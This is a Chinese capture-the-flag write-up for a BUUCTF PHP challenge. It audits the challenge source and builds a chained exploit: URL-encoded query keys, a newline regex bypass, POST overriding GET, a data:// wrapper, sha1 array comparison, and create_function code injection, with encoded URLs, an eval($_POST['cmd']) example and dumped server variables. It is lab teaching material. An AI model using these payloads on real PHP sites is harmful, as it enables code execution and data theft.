知识点:1. url编码绕过
2. %0a绕过
3. post优先级绕过
4. php伪协议
5. 数组的强类型比较绕过
6. 取反绕过
进入之后发现了一个很帅气的页面😎~
看看网页源代码试试~
是base32编码,尝试一下解码.
https://www.qqxiuzi.cn/bianma/base.php
解码出来后是一个1nD3x.php的文件 ,去访问一下.
开始代码审计~
<?php
// 显示文件源码
highlight_file(__FILE__);// 关闭所有错误报告
error_reporting(0); // 设定默认的文件名和变量
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';// 欢迎信息
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";// 检查$_SERVER全局数组是否存在
if($_SERVER) { // 如果查询字符串包含特定的字符或关键字则终止脚本执行if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))die('You seem to want to do something bad?');
}// 检查GET参数'file'是否是合法的URL
if (!preg_match('/http|https/i', $_GET['file'])) {// 检查GET参数'debu'是否为'aqua_is_cute'且不等于这个值if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');// 遍历所有请求参数,检查是否有英文字符
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!');}
}// 检查文件内容是否为特定字符串
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");// 检查sha1($shana)是否与sha1($passwd)相等且两者的值不同
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){// 提取GET参数中的flag变量extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}// 检查$code和$arg是否包含危险的字符串或命令
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { // 包含flag.php文件include "flag.php";// 调用$code函数并传递$arg参数$code('', $arg);
}
首先我们要绕过的是.
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('You seem to want to do something bad?');
}
知识点:
$_SERVER['QUERY_STRING']
是一个预定义的 PHP 变量,它包含了 URL 中跟在问号 (?) 后面的所有数据,即 GET 请求参数的原始字符串形式.
所以我们GET请求的键值对都绕绕过这个preg_math(),我们可以用url编码来绕过,因为当我们使用GET参数执行过程中PHP会自动进行url解码,而SERVER不会.
下面是url编码的python代码.
value=input("url : ")
letter=list(value)
letter_new=''
for i in letter:if i=="=" or i=="&" or i=="[" or i=="]" or i==";" or i=="//":letter_new+=icontinueletter_new+="%"+hex(ord(i))[2:]
print(letter_new)
之后我们来绕过下面的preg_math().
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');
我们可以传入两个参数分别为file和debu,而我们只需要传入debu的参数便可以绕过, 由于preg_math()是非/s的模式,所以我们可以使用%0a来绕过.
知识点:
/s
模式被称为“单行”模式。在正则表达式中,默认情况下,.
(点)字符匹配任何单个字符,除了换行符\n
。然而,当你在正则表达式中包含/s
标志时,.
将匹配包括换行符在内的任何单个字符,我们在尾部加上%0a,preg_math()不会匹配到它,从而绕过.
开始构造payload.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a
由于第一个preg_math()的限制使用url编码.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
开始绕过第三个过滤代码.
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
}
循环$_REQUEST中的value并确保他们不是字母.
我们可以利用POST请求的优先级比GET请求高的特点来绕过 .
知识点:1.在默认情况下(或当 request_order 包含 "P" 在 "G" 之后时),如果 $_GET 和 $_POST 包含相同名称的键,$_REQUEST 中的值将是 $_POST 里的那个参数的值。
2.在PHP中,$_REQUEST 数组包含了 $_GET、$_POST 和 $_COOKIE 的内容(如果有的话)。
我们可以构造以下payload.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65post: debu=1
值得注意的是上面提到的$_COOKIE,所以我们要确保$_COOKIE的value不存在,或者为数字.
开始绕过第四个过滤语句.
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
这里要使我们传入的file参数中,读取的file文件内容为 debu_debu_aqua,我们可以使用php://input或者是data://text,plain两个为协议来绕过,并且我们需要绕过第一个preg_math(),所以需要进行url编码和base64编码,同时也需要绕过第三个过滤.
开始构造payload.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aquapost:debu=1&file=2
url编码后为.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61debu=1&file=2
开始绕过第五个过滤.
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
典型了强类型比较数组绕过,不要忘了url编码.
开始构造payload.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2post:debu=1&file=2
编码后为.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32post:debu=1&file=2
开始最后一个过滤绕过.
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
这里可以使用create_function()代码注入.
知识点:
$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于:
function myfunc($a, $b){return $a+$b;
}
若$b对传入的值没有限制,则可以使用$code=return $a+$b;}eval($_POST['cmd']);//该payload构造命令执行,也就是:
function myfunc($a, $b){return $a+$b;
}
eval($_POST['cmd']);//}
所以我们可以通过倒数第二个的过滤中的flag传参来控制 code和arg两个参数.
由于很多函数被禁用了,我们使用get_defined_vars()读取所有的变量与值来构造payload.
flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function// 等价于
function{
}
var_dump(get_defined_vars());//}
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_functionpost:debu=1&file=2
url编码为.
http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2
得到了一张图片和所有的键值对.
flag灏卞湪杩欓噷锛屼綘鑳芥嬁鍒板畠鍚楋紵array(13) { ["_GET"]=> array(5) { ["debu"]=> string(13) "aqua_is_cute " ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["_POST"]=> array(2) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_SERVER"]=> array(65) { ["PHP_EXTRA_CONFIGURE_ARGS"]=> string(77) "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi" ["KUBERNETES_SERVICE_PORT"]=> string(3) "443" ["KUBERNETES_PORT"]=> string(20) "tcp://10.240.0.1:443" ["HOSTNAME"]=> string(3) "out" ["PHP_INI_DIR"]=> string(18) "/usr/local/etc/php" ["SHLVL"]=> string(1) "1" ["HOME"]=> string(14) "/home/www-data" ["PHP_LDFLAGS"]=> string(34) "-Wl,-O1 -Wl,--hash-style=both -pie" ["PHP_CFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_MD5"]=> string(0) "" ["PHP_VERSION"]=> string(6) "7.3.13" ["GPG_KEYS"]=> string(81) "CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" ["PHP_CPPFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_ASC_URL"]=> string(62) "https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror" ["PHP_URL"]=> string(58) "https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror" ["KUBERNETES_PORT_443_TCP_ADDR"]=> string(10) "10.240.0.1" ["PATH"]=> string(60) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ["KUBERNETES_PORT_443_TCP_PORT"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP_PROTO"]=> string(3) "tcp" ["KUBERNETES_SERVICE_PORT_HTTPS"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP"]=> string(20) "tcp://10.240.0.1:443" ["PHPIZE_DEPS"]=> string(78) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c" ["KUBERNETES_SERVICE_HOST"]=> string(10) "10.240.0.1" ["PWD"]=> string(13) "/var/www/html" ["PHP_SHA256"]=> string(64) "57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228" ["FLAG"]=> string(4) "null" ["USER"]=> string(8) "www-data" ["HTTP_X_FORWARDED_FOR"]=> string(25) "121.26.229.182, 127.0.0.1" ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" ["HTTP_REMOTE_HOST"]=> string(14) "121.26.229.182" ["HTTP_REFERER"]=> string(237) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32" ["HTTP_PRIORITY"]=> string(6) "u=0, i" ["HTTP_ORIGIN"]=> string(61) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81" ["HTTP_CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["HTTP_ACCEPT_LANGUAGE"]=> string(59) "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ["HTTP_ACCEPT_ENCODING"]=> string(13) "gzip, deflate" ["HTTP_ACCEPT"]=> string(109) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8" ["HTTP_CONTENT_LENGTH"]=> string(2) "13" ["HTTP_USER_AGENT"]=> string(80) "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" ["HTTP_HOST"]=> string(51) "adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn" ["SCRIPT_FILENAME"]=> string(23) "/var/www/html/1nD3x.php" ["REDIRECT_STATUS"]=> string(3) "200" ["SERVER_NAME"]=> string(9) "localhost" ["SERVER_PORT"]=> string(2) "80" ["SERVER_ADDR"]=> string(12) "10.244.80.11" ["REMOTE_PORT"]=> string(5) "36758" ["REMOTE_ADDR"]=> string(12) "10.244.80.35" ["SERVER_SOFTWARE"]=> string(12) "nginx/1.16.1" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["REQUEST_SCHEME"]=> string(4) "http" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["DOCUMENT_ROOT"]=> string(13) "/var/www/html" ["DOCUMENT_URI"]=> string(10) "/1nD3x.php" ["REQUEST_URI"]=> string(276) "/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["SCRIPT_NAME"]=> string(10) "/1nD3x.php" ["CONTENT_LENGTH"]=> string(2) "13" ["CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["REQUEST_METHOD"]=> string(4) "POST" ["QUERY_STRING"]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["FCGI_ROLE"]=> string(9) "RESPONDER" ["PHP_SELF"]=> string(10) "/1nD3x.php" ["REQUEST_TIME_FLOAT"]=> float(1720874272.6966) ["REQUEST_TIME"]=> int(1720874272) ["argv"]=> array(1) { [0]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" } ["argc"]=> int(1) } ["_REQUEST"]=> array(5) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" ["value"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" }
最后面显示 I hid the real flag in rea1fl4g.php,所以我们要找的flag就在rea1f14g.php这个文件中.
首先最后一个过滤了inc 可以用require以代替,flag可以用base64编码来绕过,我们可以先包含flag文件后再用var_dump(get_defined_vars())来读取flag.
require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars);
开始构造payload.
http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2
url编码后为.
http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}%72%65%71%75%69%72%65(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2
结果为.
实际上呢,得到了假的flag,这是不可以的,下面的源代码.
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);
包含了flag文件后$real_f1114g会被unset掉,所以我们可以用php为协议去读取该文件的内容.
php://filter/convert.base64-encode/resource=rea1fl4g.php
之后取反绕过.
<?php$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);
开始构造payload.
http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//&%66%6c%61%67[%63%6f%64%65]=create_functionpost:debu=1&file=2
结果如下.
PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2MyNGVlOTE3LTQyZjMtNGYxMy04NzJjLTc1YzdmZjkzZTA3OH0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=
将其进行base64解码.
https://www.toolhelper.cn/EncodeDecode/Base64
得到flag,游戏结束~